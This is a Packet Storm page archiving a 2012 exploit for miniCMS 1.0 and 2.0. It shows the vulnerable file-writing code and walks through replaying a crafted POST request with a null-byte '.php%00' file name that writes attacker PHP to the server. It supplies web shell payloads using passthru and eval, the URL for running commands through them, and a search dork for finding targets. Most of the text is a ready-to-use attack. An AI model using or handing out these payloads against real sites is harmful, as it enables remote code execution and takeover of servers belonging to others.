exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

miniCMS 1.0 / 2.0 Code Execution

miniCMS 1.0 / 2.0 Code Execution
Posted Jan 23, 2012
Authored by Or4nG.M4N

miniCMS versions 1.0 and 2.0 suffer from a remote code execution vulnerability through php code injection.

tags | exploit, remote, php, code execution
SHA-256 | c303b43d7365250742bce38867811ca1fe35d467cea6e2c36ddf07ca7458b9e6

miniCMS 1.0 / 2.0 Code Execution

Change Mirror Download
########################################################################
# Title : miniCMS v1.0 : v2.0 php inject code
# Author : Or4nG.M4n
# Version : all version
# GDork : "This site is managed using MiniCMS©"
# Download : http://sourceforge.net/projects/mini-cms/files/mini-cms/
# Thnks :
# +----------------------------------+
# | xSs m4n i-Hmx h311 c0d3 | sp. Cyb3r-Crystal
# | SarBoT511 ahwak2000 sa^Dev!L | sp. ahwak2000
# +----------------------------------+
# php code injection and bypass addslashes();
# vuln : update.php shell path /content
# vuln : updatenews.php shell path /content/news

$filename = "content/".$pagename.".txt"; <= .php%00

if ($file = fopen($filename, "w"))
{
//chmod($filename, 0777);
if($pagename == "sitemap"){
$eachline = split("\n", $postTemp["content"]);
$cleancontent = "";
foreach($eachline as $el){
if(trim($el) != ""){
$cleancontent .= trim($el) . "\n";
}
}
$postTemp["content"] = $cleancontent;
}
//$postTemp["content"] = str_replace('"', '\"', $postTemp["content"]);
if (!get_magic_quotes_gpc()) {
$postTemp["content"] = addslashes($postTemp["content"]);
}
fwrite($file, serialize($postTemp));
fclose($file);
}
else
{
echo "Unable to open file for writing, please check permissions on content directory";
}
}
else
{
$filename = "content/".$area.".txt"; < = .php%00
if ($file = fopen($filename, "w"))
{
chmod($filename, 0777);
//$postTemp["content"] = str_replace('"', '\"', $postTemp["content"]);
fwrite($file, $postTemp["content"]);
fclose($file);
}
How i can Use this Exploit
in your Browser FireFox
use add on LIVE HTTP HEADER

in target page [ http://localhost/miniCMS-2.0/index.php?page=1 ] ..
Replay to :
POST : http://www.cmtsystem.com/mCMS/update.php
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://localhost/miniCMS-2.0/index.php?page=1
Cookie: miniCMSdemo=32b5075aba3eb6c5d11129ec114346c2
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Post this shit : title=1&metadata=1&content=[CODE]&page=thnks-ahwak2000-cyber-crystal.php%00&area=content
Add Your code php here : [CODE]
Now how i can bypass addslashes(); inject <?php passthru($_GET[cmd]);?> or <?php eval($_GET[cmd]);?>
Don't Forget Referer : http://site/index.php?page=1
[ ! ] http://site/content/thnks-ahwak2000-cyber-crystal.php?cmd=uname-a
# Thnks to all Stupid Coder
# The End

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close